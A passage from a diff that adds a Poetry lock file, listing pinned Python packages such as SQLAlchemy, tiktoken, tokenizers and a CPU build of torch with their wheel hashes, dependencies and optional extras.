"sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fb71af492b0eefbf9f2501bec97bcd043b6812ab000d119eaf4bd33f9e283d03"}, + {file = "sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27b866b5bd3ddd54166bbcbf5c8d7dd2e0b397fac8537991c7f544220b1f67bc"}, + {file = "sentencepiece-0.1.99-cp38-cp38-win32.whl", hash = "sha256:b133e8a499eac49c581c3c76e9bdd08c338cc1939e441fee6f92c0ccb5f1f8be"}, + {file = "sentencepiece-0.1.99-cp38-cp38-win_amd64.whl", hash = "sha256:0eaf3591dd0690a87f44f4df129cf8d05d8a4029b5b6709b489b8e27f9a9bcff"}, + {file = "sentencepiece-0.1.99-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38efeda9bbfb55052d482a009c6a37e52f42ebffcea9d3a98a61de7aee356a28"}, + {file = "sentencepiece-0.1.99-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6c030b081dc1e1bcc9fadc314b19b740715d3d566ad73a482da20d7d46fd444c"}, + {file = "sentencepiece-0.1.99-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:84dbe53e02e4f8a2e45d2ac3e430d5c83182142658e25edd76539b7648928727"}, + {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b0f55d0a0ee1719b4b04221fe0c9f0c3461dc3dabd77a035fa2f4788eb3ef9a"}, + {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:18e800f206cd235dc27dc749299e05853a4e4332e8d3dfd81bf13d0e5b9007d9"}, + {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ae1c40cda8f9d5b0423cfa98542735c0235e7597d79caf318855cdf971b2280"}, + {file = "sentencepiece-0.1.99-cp39-cp39-win32.whl", hash = "sha256:c84ce33af12ca222d14a1cdd37bd76a69401e32bc68fe61c67ef6b59402f4ab8"}, + {file = "sentencepiece-0.1.99-cp39-cp39-win_amd64.whl", hash = "sha256:350e5c74d739973f1c9643edb80f7cc904dc948578bcb1d43c6f2b173e5d18dd"}, + {file = "sentencepiece-0.1.99.tar.gz", hash = "sha256:189c48f5cb2949288f97ccdb97f0473098d9c3dcf5a3d99d4eabe719ec27297f"}, +] + +[[package]] +name = "six" +version = "1.16.0" +description = "Python 2 and 3 compatibility utilities" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +files = [ + {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, + {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, +] + +[[package]] +name = "sniffio" +version = "1.3.0" +description = "Sniff out which async library your code is running under" +optional = false +python-versions = ">=3.7" +files = [ + {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, + {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.18" +description = "Database Abstraction Library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "SQLAlchemy-2.0.18-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7ddd6d35c598af872f9a0a5bce7f7c4a1841684a72dab3302e3df7f17d1b5249"}, + {file = "SQLAlchemy-2.0.18-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:00aa050faf24ce5f2af643e2b86822fa1d7149649995f11bc1e769bbfbf9010b"}, + {file = "SQLAlchemy-2.0.18-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7db97eabd440327c35b751d5ebf78a107f505586485159bcc87660da8bb1fdca"}, + {file = "SQLAlchemy-2.0.18-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9da4ee8f711e077633730955c8f3cd2485c9abf5ea0f80aac23221a3224b9a8c"}, + {file = "SQLAlchemy-2.0.18-cp310-cp310-win32.whl", hash = "sha256:5dd574a37be388512c72fe0d7318cb8e31743a9b2699847a025e0c08c5bf579d"}, + {file = "SQLAlchemy-2.0.18-cp310-cp310-win_amd64.whl", hash = "sha256:6852cd34d96835e4c9091c1e6087325efb5b607b75fd9f7075616197d1c4688a"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:10e001a84f820fea2640e4500e12322b03afc31d8f4f6b813b44813b2a7c7e0d"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bffd6cd47c2e68970039c0d3e355c9ed761d3ca727b204e63cd294cad0e3df90"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b7b3ebfa9416c8eafaffa65216e229480c495e305a06ba176dcac32710744e6"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:79228a7b90d95957354f37b9d46f2cc8926262ae17b0d3ed8f36c892f2a37e06"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ba633b51835036ff0f402c21f3ff567c565a22ff0a5732b060a68f4660e2a38f"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:8da677135eff43502b7afab5a1e641edfb2dc734ba7fc146e9b1b86817a728e2"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-win32.whl", hash = "sha256:82edf3a6090554a83942cec79151d6b5eb96e63d143e80e4cf6671e5d772f6be"}, + {file = "SQLAlchemy-2.0.18-cp311-cp311-win_amd64.whl", hash = "sha256:69ae0e9509c43474e33152abe1385b8954922544616426bf793481e1a37e094f"}, + {file = "SQLAlchemy-2.0.18-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:09397a18733fa2a4c7680b746094f980060666ee549deafdb5e102a99ce4619b"}, + {file = "SQLAlchemy-2.0.18-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1aac42a21a7fa6c9665392c840b295962992ddf40aecf0a88073bc5c76728117"}, + {file = "SQLAlchemy-2.0.18-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:a6f1d8256d06f58e6ece150fbe05c63c7f9510df99ee8ac37423f5476a2cebb4"}, + {file = "SQLAlchemy-2.0.18-cp37-cp37m-win32.whl", hash = "sha256:67fbb40db3985c0cfb942fe8853ad94a5e9702d2987dec03abadc2f3b6a24afb"}, + {file = "SQLAlchemy-2.0.18-cp37-cp37m-win_amd64.whl", hash = "sha256:afb322ca05e2603deedbcd2e9910f11a3fd2f42bdeafe63018e5641945c7491c"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:908c850b98cac1e203ababd4ba76868d19ae0d7172cdc75d3f1b7829b16837d2"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:10514adc41fc8f5922728fbac13d401a1aefcf037f009e64ca3b92464e33bf0e"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:420bc6d06d4ae7fb6921524334689eebcbea7bf2005efef070a8562cc9527a37"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:556dc18e39b6edb76239acfd1c010e37395a54c7fde8c57481c15819a3ffb13e"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-win32.whl", hash = "sha256:7b8cba5a25e95041e3413d91f9e50616bcfaec95afa038ce7dc02efefe576745"}, + {file = "SQLAlchemy-2.0.18-cp38-cp38-win_amd64.whl", hash = "sha256:0f7fdcce52cd882b559a57b484efc92e108efeeee89fab6b623aba1ac68aad2e"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d7a2c1e711ce59ac9d0bba780318bcd102d2958bb423209f24c6354d8c4da930"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5c95e3e7cc6285bf7ff263eabb0d3bfe3def9a1ff98124083d45e5ece72f4579"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfa1a0f83bdf8061db8d17c2029454722043f1e4dd1b3d3d3120d1b54e75825a"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4ebc542d2289c0b016d6945fd07a7e2e23f4abc41e731ac8ad18a9e0c2fd0ec2"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-win32.whl", hash = "sha256:774bd401e7993452ba0596e741c0c4d6d22f882dd2a798993859181dbffadc62"}, + {file = "SQLAlchemy-2.0.18-cp39-cp39-win_amd64.whl", hash = "sha256:2756485f49e7df5c2208bdc64263d19d23eba70666f14ad12d6d8278a2fff65f"}, + {file = "SQLAlchemy-2.0.18-py3-none-any.whl", hash = "sha256:6c5bae4c288bda92a7550fe8de9e068c0a7cd56b1c5d888aae5b40f0e13b40bd"}, + {file = "SQLAlchemy-2.0.18.tar.gz", hash = "sha256:1fb792051db66e09c200e7bc3bda3b1eb18a5b8eb153d2cedb2b14b56a68b8cb"}, +] + +[package.dependencies] +greenlet = {version = "!=0.4.17", markers = "platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\""} +typing-extensions = ">=4.2.0" + +[package.extras] +aiomysql = ["aiomysql", "greenlet (!=0.4.17)"] +aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"] +asyncio = ["greenlet (!=0.4.17)"] +asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"] +mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"] +mssql = ["pyodbc"] +mssql-pymssql = ["pymssql"] +mssql-pyodbc = ["pyodbc"] +mypy = ["mypy (>=0.910)"] +mysql = ["mysqlclient (>=1.4.0)"] +mysql-connector = ["mysql-connector-python"] +oracle = ["cx-oracle (>=7)"] +oracle-oracledb = ["oracledb (>=1.0.1)"] +postgresql = ["psycopg2 (>=2.7)"] +postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"] +postgresql-pg8000 = ["pg8000 (>=1.29.1)"] +postgresql-psycopg = ["psycopg (>=3.0.7)"] +postgresql-psycopg2binary = ["psycopg2-binary"] +postgresql-psycopg2cffi = ["psycopg2cffi"] +postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"] +pymysql = ["pymysql"] +sqlcipher = ["sqlcipher3-binary"] + +[[package]] +name = "starlette" +version = "0.19.1" +description = "The little ASGI library that shines." +optional = false +python-versions = ">=3.6" +files = [ + {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"}, + {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"}, +] + +[package.dependencies] +anyio = ">=3.4.0,<5" + +[package.extras] +full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"] + +[[package]] +name = "structlog" +version = "23.1.0" +description = "Structured Logging for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"}, + {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"}, +] + +[package.extras] +dev = ["structlog[docs,tests,typing]"] +docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"] +tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"] +typing = ["mypy", "rich", "twisted"] + +[[package]] +name = "sympy" +version = "1.12" +description = "Computer algebra system (CAS) in Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "sympy-1.12-py3-none-any.whl", hash = "sha256:c3588cd4295d0c0f603d0f2ae780587e64e2efeedb3521e46b9bb1d08d184fa5"}, + {file = "sympy-1.12.tar.gz", hash = "sha256:ebf595c8dac3e0fdc4152c51878b498396ec7f30e7a914d6071e674d49420fb8"}, +] + +[package.dependencies] +mpmath = ">=0.19" + +[[package]] +name = "tenacity" +version = "8.2.2" +description = "Retry code until it succeeds" +optional = false +python-versions = ">=3.6" +files = [ + {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"}, + {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"}, +] + +[package.extras] +doc = ["reno", "sphinx", "tornado (>=4.5)"] + +[[package]] +name = "threadpoolctl" +version = "3.1.0" +description = "threadpoolctl" +optional = false +python-versions = ">=3.6" +files = [ + {file = "threadpoolctl-3.1.0-py3-none-any.whl", hash = "sha256:8b99adda265feb6773280df41eece7b2e6561b772d21ffd52e372f999024907b"}, + {file = "threadpoolctl-3.1.0.tar.gz", hash = "sha256:a335baacfaa4400ae1f0d8e3a58d6674d2f8828e3716bb2802c44955ad391380"}, +] + +[[package]] +name = "tiktoken" +version = "0.4.0" +description = "tiktoken is a fast BPE tokeniser for use with OpenAI's models" +optional = false +python-versions = ">=3.8" +files = [ + {file = "tiktoken-0.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:176cad7f053d2cc82ce7e2a7c883ccc6971840a4b5276740d0b732a2b2011f8a"}, + {file = "tiktoken-0.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:450d504892b3ac80207700266ee87c932df8efea54e05cefe8613edc963c1285"}, + {file = "tiktoken-0.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:00d662de1e7986d129139faf15e6a6ee7665ee103440769b8dedf3e7ba6ac37f"}, + {file = "tiktoken-0.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5727d852ead18b7927b8adf558a6f913a15c7766725b23dbe21d22e243041b28"}, + {file = "tiktoken-0.4.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:c06cd92b09eb0404cedce3702fa866bf0d00e399439dad3f10288ddc31045422"}, + {file = "tiktoken-0.4.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9ec161e40ed44e4210d3b31e2ff426b4a55e8254f1023e5d2595cb60044f8ea6"}, + {file = "tiktoken-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:1e8fa13cf9889d2c928b9e258e9dbbbf88ab02016e4236aae76e3b4f82dd8288"}, + {file = "tiktoken-0.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bb2341836b725c60d0ab3c84970b9b5f68d4b733a7bcb80fb25967e5addb9920"}, + {file = "tiktoken-0.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2ca30367ad750ee7d42fe80079d3092bd35bb266be7882b79c3bd159b39a17b0"}, + {file = "tiktoken-0.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3dc3df19ddec79435bb2a94ee46f4b9560d0299c23520803d851008445671197"}, + {file = "tiktoken-0.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d980fa066e962ef0f4dad0222e63a484c0c993c7a47c7dafda844ca5aded1f3"}, + {file = "tiktoken-0.4.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:329f548a821a2f339adc9fbcfd9fc12602e4b3f8598df5593cfc09839e9ae5e4"}, + {file = "tiktoken-0.4.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b1a038cee487931a5caaef0a2e8520e645508cde21717eacc9af3fbda097d8bb"}, + {file = "tiktoken-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:08efa59468dbe23ed038c28893e2a7158d8c211c3dd07f2bbc9a30e012512f1d"}, + {file = "tiktoken-0.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f3020350685e009053829c1168703c346fb32c70c57d828ca3742558e94827a9"}, + {file = "tiktoken-0.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ba16698c42aad8190e746cd82f6a06769ac7edd415d62ba027ea1d99d958ed93"}, + {file = "tiktoken-0.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c15d9955cc18d0d7ffcc9c03dc51167aedae98542238b54a2e659bd25fe77ed"}, + {file = "tiktoken-0.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64e1091c7103100d5e2c6ea706f0ec9cd6dc313e6fe7775ef777f40d8c20811e"}, + {file = "tiktoken-0.4.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e87751b54eb7bca580126353a9cf17a8a8eaadd44edaac0e01123e1513a33281"}, + {file = "tiktoken-0.4.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:e063b988b8ba8b66d6cc2026d937557437e79258095f52eaecfafb18a0a10c03"}, + {file = "tiktoken-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:9c6dd439e878172dc163fced3bc7b19b9ab549c271b257599f55afc3a6a5edef"}, + {file = "tiktoken-0.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8d1d97f83697ff44466c6bef5d35b6bcdb51e0125829a9c0ed1e6e39fb9a08fb"}, + {file = "tiktoken-0.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1b6bce7c68aa765f666474c7c11a7aebda3816b58ecafb209afa59c799b0dd2d"}, + {file = "tiktoken-0.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a73286c35899ca51d8d764bc0b4d60838627ce193acb60cc88aea60bddec4fd"}, + {file = "tiktoken-0.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d0394967d2236a60fd0aacef26646b53636423cc9c70c32f7c5124ebe86f3093"}, + {file = "tiktoken-0.4.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:dae2af6f03ecba5f679449fa66ed96585b2fa6accb7fd57d9649e9e398a94f44"}, + {file = "tiktoken-0.4.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:55e251b1da3c293432179cf7c452cfa35562da286786be5a8b1ee3405c2b0dd2"}, + {file = "tiktoken-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:c835d0ee1f84a5aa04921717754eadbc0f0a56cf613f78dfc1cf9ad35f6c3fea"}, + {file = "tiktoken-0.4.0.tar.gz", hash = "sha256:59b20a819969735b48161ced9b92f05dc4519c17be4015cfb73b65270a243620"}, +] + +[package.dependencies] +regex = ">=2022.1.18" +requests = ">=2.26.0" + +[package.extras] +blobfile = ["blobfile (>=2)"] + +[[package]] +name = "tokenizers" +version = "0.13.3" +description = "Fast and Customizable Tokenizers" +optional = false +python-versions = "*" +files = [ + {file = "tokenizers-0.13.3-cp310-cp310-macosx_10_11_x86_64.whl", hash = "sha256:f3835c5be51de8c0a092058a4d4380cb9244fb34681fd0a295fbf0a52a5fdf33"}, + {file = "tokenizers-0.13.3-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:4ef4c3e821730f2692489e926b184321e887f34fb8a6b80b8096b966ba663d07"}, + {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5fd1a6a25353e9aa762e2aae5a1e63883cad9f4e997c447ec39d071020459bc"}, + {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee0b1b311d65beab83d7a41c56a1e46ab732a9eed4460648e8eb0bd69fc2d059"}, + {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ef4215284df1277dadbcc5e17d4882bda19f770d02348e73523f7e7d8b8d396"}, + {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a4d53976079cff8a033f778fb9adca2d9d69d009c02fa2d71a878b5f3963ed30"}, + {file = "tokenizers-0.13.3-cp310-cp310-win32.whl", hash = "sha256:1f0e3b4c2ea2cd13238ce43548959c118069db7579e5d40ec270ad77da5833ce"}, + {file = "tokenizers-0.13.3-cp310-cp310-win_amd64.whl", hash = "sha256:89649c00d0d7211e8186f7a75dfa1db6996f65edce4b84821817eadcc2d3c79e"}, + {file = "tokenizers-0.13.3-cp311-cp311-macosx_10_11_universal2.whl", hash = "sha256:56b726e0d2bbc9243872b0144515ba684af5b8d8cd112fb83ee1365e26ec74c8"}, + {file = "tokenizers-0.13.3-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:cc5c022ce692e1f499d745af293ab9ee6f5d92538ed2faf73f9708c89ee59ce6"}, + {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f55c981ac44ba87c93e847c333e58c12abcbb377a0c2f2ef96e1a266e4184ff2"}, + {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f247eae99800ef821a91f47c5280e9e9afaeed9980fc444208d5aa6ba69ff148"}, + {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b3e3215d048e94f40f1c95802e45dcc37c5b05eb46280fc2ccc8cd351bff839"}, + {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ba2b0bf01777c9b9bc94b53764d6684554ce98551fec496f71bc5be3a03e98b"}, + {file = "tokenizers-0.13.3-cp311-cp311-win32.whl", hash = "sha256:cc78d77f597d1c458bf0ea7c2a64b6aa06941c7a99cb135b5969b0278824d808"}, + {file = "tokenizers-0.13.3-cp311-cp311-win_amd64.whl", hash = "sha256:ecf182bf59bd541a8876deccf0360f5ae60496fd50b58510048020751cf1724c"}, + {file = "tokenizers-0.13.3-cp37-cp37m-macosx_10_11_x86_64.whl", hash = "sha256:0527dc5436a1f6bf2c0327da3145687d3bcfbeab91fed8458920093de3901b44"}, + {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:07cbb2c307627dc99b44b22ef05ff4473aa7c7cc1fec8f0a8b37d8a64b1a16d2"}, + {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4560dbdeaae5b7ee0d4e493027e3de6d53c991b5002d7ff95083c99e11dd5ac0"}, + {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:64064bd0322405c9374305ab9b4c07152a1474370327499911937fd4a76d004b"}, + {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8c6e2ab0f2e3d939ca66aa1d596602105fe33b505cd2854a4c1717f704c51de"}, + {file = "tokenizers-0.13.3-cp37-cp37m-win32.whl", hash = "sha256:6cc29d410768f960db8677221e497226e545eaaea01aa3613fa0fdf2cc96cff4"}, + {file = "tokenizers-0.13.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fc2a7fdf864554a0dacf09d32e17c0caa9afe72baf9dd7ddedc61973bae352d8"}, + {file = "tokenizers-0.13.3-cp38-cp38-macosx_10_11_x86_64.whl", hash = "sha256:8791dedba834c1fc55e5f1521be325ea3dafb381964be20684b92fdac95d79b7"}, + {file = "tokenizers-0.13.3-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:d607a6a13718aeb20507bdf2b96162ead5145bbbfa26788d6b833f98b31b26e1"}, + {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3791338f809cd1bf8e4fee6b540b36822434d0c6c6bc47162448deee3f77d425"}, + {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c2f35f30e39e6aab8716f07790f646bdc6e4a853816cc49a95ef2a9016bf9ce6"}, + {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:310204dfed5aa797128b65d63538a9837cbdd15da2a29a77d67eefa489edda26"}, + {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0f9b92ea052305166559f38498b3b0cae159caea712646648aaa272f7160963"}, + {file = "tokenizers-0.13.3-cp38-cp38-win32.whl", hash = "sha256:9a3fa134896c3c1f0da6e762d15141fbff30d094067c8f1157b9fdca593b5806"}, + {file = "tokenizers-0.13.3-cp38-cp38-win_amd64.whl", hash = "sha256:8e7b0cdeace87fa9e760e6a605e0ae8fc14b7d72e9fc19c578116f7287bb873d"}, + {file = "tokenizers-0.13.3-cp39-cp39-macosx_10_11_x86_64.whl", hash = "sha256:00cee1e0859d55507e693a48fa4aef07060c4bb6bd93d80120e18fea9371c66d"}, + {file = "tokenizers-0.13.3-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:a23ff602d0797cea1d0506ce69b27523b07e70f6dda982ab8cf82402de839088"}, + {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:70ce07445050b537d2696022dafb115307abdffd2a5c106f029490f84501ef97"}, + {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:280ffe95f50eaaf655b3a1dc7ff1d9cf4777029dbbc3e63a74e65a056594abc3"}, + {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97acfcec592f7e9de8cadcdcda50a7134423ac8455c0166b28c9ff04d227b371"}, + {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd7730c98a3010cd4f523465867ff95cd9d6430db46676ce79358f65ae39797b"}, + {file = "tokenizers-0.13.3-cp39-cp39-win32.whl", hash = "sha256:48625a108029cb1ddf42e17a81b5a3230ba6888a70c9dc14e81bc319e812652d"}, + {file = "tokenizers-0.13.3-cp39-cp39-win_amd64.whl", hash = "sha256:bc0a6f1ba036e482db6453571c9e3e60ecd5489980ffd95d11dc9f960483d783"}, + {file = "tokenizers-0.13.3.tar.gz", hash = "sha256:2e546dbb68b623008a5442353137fbb0123d311a6d7ba52f2667c8862a75af2e"}, +] + +[package.extras] +dev = ["black (==22.3)", "datasets", "numpy", "pytest", "requests"] +docs = ["setuptools-rust", "sphinx", "sphinx-rtd-theme"] +testing = ["black (==22.3)", "datasets", "numpy", "pytest", "requests"] + +[[package]] +name = "torch" +version = "2.0.1+cpu" +description = "Tensors and Dynamic neural networks in Python with strong GPU acceleration" +optional = false +python-versions = ">=3.8.0" +files = [ + {file = "torch-2.0.1+cpu-cp310-cp310-linux_x86_64.whl", hash = "sha256:fec257249ba014c68629a1994b0c6e7356e20e1afc77a87b9941a40e5095285d"}, + {file = "torch-2.0.1+cpu-cp310-cp310-win_amd64.whl", hash = "sha256:ca88b499973c4c027e32c4960bf20911d7e984bd0c55cda181dc643559f3d93f"}, + {file = "torch-2.0.1+cpu-cp311-cp311-linux_x86_64.whl", hash = "sha256:274d4acf486ef50ce1066ffe9d500beabb32bde69db93e3b71d0892dd148956c"}, + {file = "torch-2.0.1+cpu-cp311-cp311-win_amd64.whl", hash = "sha256:e2603310bdff4b099c4c41ae132192fc0d6b00932ae2621d52d87218291864be"}, + {file = "torch-2.0.1+cpu-cp38-cp38-linux_x86_64.whl", hash = "sha256:8046f49deae5a3d219b9f6059a1f478ae321f232e660249355a8bf6dcaa810c1"}, + {file = "torch-2.0.1+cpu-cp38-cp38-win_amd64.whl", hash = "sha256:2ac4382ff090035f9045b18afe5763e2865dd35f2d661c02e51f658d95c8065a"}, + {file = "torch-2.0.1+cpu-cp39-cp39-linux_x86_64.whl", hash = "sha256:73482a223d577407c45685fde9d2a74ba42f0d8d9f6e1e95c08071dc55c47d7b"}, + {file = "torch-2.0.1+cpu-cp39-cp39-win_amd64.whl", hash = "sha256:f263f8e908288427ae81441fef540377f61e339a27632b1bbe33cf78292fdaea"}, +] + +[package.dependencies] +filelock = "*" +jinja2 = "*" +networkx = "*" +sympy = "*" +typing-extensions = "*" + +[package.extras] +opt-einsum = ["opt-einsum 